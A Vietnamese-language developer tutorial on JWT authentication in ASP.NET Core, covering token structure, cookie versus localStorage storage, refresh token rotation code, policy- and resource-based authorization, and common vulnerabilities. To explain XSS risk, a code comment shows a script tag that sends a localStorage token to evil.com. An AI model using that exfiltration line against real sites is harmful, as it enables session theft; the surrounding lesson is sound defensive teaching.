Nhiều dev "implement JWT" nhưng không hiểu token lưu ở đâu, expires khi nào, refresh thế nào. Session này giải thích flow thực tế để bạn implement đúng VÀ an toàn.
Mục tiêu
- Hiểu JWT flow thật sự (không phải tutorial "generate token")
- Token storage: Cookie vs LocalStorage - tradeoffs
- Refresh token - tại sao cần và implement thế nào
- Authorization beyond roles: Policy-based, Resource-based
1) JWT - Chuyện Gì Thực Sự Xảy ra
JWT = JSON Web Token = chuỗi text chứa claims, ĐƯỢC KÝ bởi server.
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0Iiwicm9sZSI6ImFkbWluIn0.SIGNATURE
│── Header ──│────── Payload ───────────────│── Signature ──│
Header: { "alg": "HS256" }
Payload: { "sub": "1234", "role": "admin", "exp": 1700000000 }
Signature: HMACSHA256(header + "." + payload, SECRET_KEY)
Flow
1. Client gửi credentials (email/password)
2. Server verify credentials
3. Server tạo JWT, ký bằng SECRET_KEY
4. Server trả JWT cho client
5. Client gửi JWT trong mỗi request (Authorization: Bearer xxx)
6. Server VERIFY signature → biết token CHƯA BỊ SỬA
7. Server đọc claims từ payload → biết user là ai, quyền gì
⚠️ JWT payload KHÔNG encrypted! Chỉ signed (chống giả mạo).
→ KHÔNG đặt sensitive data trong JWT (password, credit card)
→ Ai có token đều đọc được payload (base64 decode)
Tại sao dùng JWT thay Session?
Session (traditional):
- Server lưu session data trong memory/DB
- Client gửi session ID (cookie)
- Server lookup session → trả data
→ Stateful: server PHẢI lưu trạng thái
→ Khó scale horizontally (sticky sessions hoặc shared session store)
JWT (modern):
- Server KHÔNG lưu gì (stateless)
- Token chứa TẤT CẢ thông tin cần thiết
- Server chỉ verify signature
→ Stateless: dễ scale (mọi server verify được)
→ Nhưng: KHÔNG revoke được! (token valid đến khi expire)
2) Token Storage - Sai Ở Đây = Bị Hack
LocalStorage / SessionStorage:
✅ Dễ implement (JS truy cập được)
❌ XSS vulnerable: malicious JS đọc được token → game over!
// ❌ XSS attack:
// Hacker inject script vào page (qua user input không sanitize)
// <script>fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))</script>
// → Token bị đánh cắp!
HttpOnly Cookie:
✅ JS KHÔNG truy cập được (XSS safe)
✅ Browser tự gửi cookie mỗi request
❌ CSRF vulnerable (browser tự gửi → fake request từ site khác)
→ Cần CSRF protection (SameSite=Strict, anti-forgery token)
Recommendation
SPA (React, Angular):
Access Token: in-memory (JS variable, Zustand/Redux)
→ Mất khi refresh tab → dùng Refresh Token lấy lại
Refresh Token: HttpOnly Secure Cookie
→ An toàn, browser tự gửi
Server-Rendered (Next.js SSR, Blazor Server):
Cả 2 tokens: HttpOnly Secure Cookie
→ Server handle token, client KHÔNG thấy token
Mobile App:
Access Token: Secure storage (Keychain iOS, Keystore Android)
Refresh Token: Secure storage
3) Refresh Token - Flow
Tại sao cần?
Access Token sống SHORT (15 phút) → nếu bị đánh cắp, thiệt hại ít
Refresh Token sống LONG (7-30 ngày) → để lấy access token mới
Flow:
1. Login → Server trả { accessToken, refreshToken }
2. Client dùng accessToken cho API calls
3. accessToken expire (15 phút)
4. Client gửi refreshToken đến /auth/refresh
5. Server verify refreshToken → trả accessToken MỚI
6. Client tiếp tục dùng accessToken mới
Refresh Token Rotation (bảo mật cao):
- Mỗi lần refresh → server trả refresh token MỚI
- Refresh token cũ bị invalidate
- Nếu ai dùng token cũ → BIẾT bị đánh cắp → revoke tất cả
csharp// Refresh endpoint
app.MapPost("/auth/refresh", async (
HttpContext context,
ITokenService tokenService,
AppDbContext db) =>
{
var refreshToken = context.Request.Cookies["refresh_token"];
if (refreshToken is null) return Results.Unauthorized();
var storedToken = await db.RefreshTokens
.FirstOrDefaultAsync(t => t.Token == refreshToken);
if (storedToken is null || storedToken.ExpiresAt < DateTime.UtcNow)
{
// Token không tồn tại hoặc expired → force re-login
return Results.Unauthorized();
}
if (storedToken.IsRevoked)
{
// Token bị revoke → có thể bị đánh cắp!
// Revoke TẤT CẢ tokens của user này
await db.RefreshTokens
.Where(t => t.UserId == storedToken.UserId)
.ExecuteUpdateAsync(t => t.SetProperty(x => x.IsRevoked, true));
return Results.Unauthorized();
}
// Rotate: invalidate current, create new
storedToken.IsRevoked = true;
var newRefreshToken = tokenService.GenerateRefreshToken();
db.RefreshTokens.Add(new RefreshToken
{
Token = newRefreshToken,
UserId = storedToken.UserId,
ExpiresAt = DateTime.UtcNow.AddDays(7)
});
var newAccessToken = tokenService.GenerateAccessToken(storedToken.UserId);
await db.SaveChangesAsync();
context.Response.Cookies.Append("refresh_token", newRefreshToken, new CookieOptions
{
HttpOnly = true,
Secure = true,
SameSite = SameSiteMode.Strict,
Expires = DateTimeOffset.UtcNow.AddDays(7)
});
return Results.Ok(new { accessToken = newAccessToken });
});
4) Authorization - Beyond Roles
csharp// Level 1: Role-based (đơn giản, đủ cho nhiều app)
[Authorize(Roles = "Admin")]
public IActionResult DeleteUser(int id) { }
// Level 2: Policy-based (flexible, recommended)
builder.Services.AddAuthorization(options =>
{
options.AddPolicy("CanDeleteOrders", policy =>
policy.RequireRole("Admin")
.RequireClaim("department", "Sales", "Management"));
options.AddPolicy("MinimumAge18", policy =>
policy.AddRequirements(new MinimumAgeRequirement(18)));
});
// Level 3: Resource-based (kiểm tra quyền trên RESOURCE cụ thể)
// "User X có quyền edit ORDER Y không?"
public class OrderAuthorizationHandler
: AuthorizationHandler<EditOrderRequirement, Order>
{
protected override Task HandleRequirementAsync(
AuthorizationHandlerContext context,
EditOrderRequirement requirement,
Order order)
{
// Chỉ owner hoặc admin mới edit được
var userId = context.User.FindFirst(ClaimTypes.NameIdentifier)?.Value;
if (order.CreatedBy == userId || context.User.IsInRole("Admin"))
{
context.Succeed(requirement);
}
return Task.CompletedTask;
}
}
5) Common Vulnerabilities
1. Token trong URL: /api/data?token=xxx
→ Token lọt vào server logs, browser history, referer header!
→ LUÔN dùng Authorization header hoặc Cookie
2. Weak secret key: "mysecret123"
→ Brute force trong seconds
→ Dùng ≥256-bit key, lưu trong Key Vault
3. Không validate token đúng:
→ Phải validate: issuer, audience, expiration, signature
→ Không validate = chấp nhận token giả!
4. Token never expires:
→ Token bị đánh cắp = access vĩnh viễn
→ Access: 15 phút, Refresh: 7-30 ngày
5. Expose sensitive data trong JWT payload:
→ JWT payload = base64, AI CŨNG ĐỌC ĐƯỢC
→ Chỉ đặt: userId, role, permissions
Master Checklist ✅
□ Access token ngắn hạn (15-30 phút)?
□ Refresh token trong HttpOnly Secure Cookie?
□ Refresh token rotation enabled?
□ Token không nằm trong URL hoặc localStorage?
□ JWT secret ≥256 bit, lưu Key Vault?
□ Validate issuer, audience, expiration?
□ CORS configured đúng?
□ Resource-based auth cho sensitive operations?
Tư duy master: Security không phải feature thêm vào. Nó là constraint ảnh hưởng mọi design decision. Khi design bất kỳ API nào, câu hỏi đầu tiên: "Ai KHÔNG nên truy cập được?"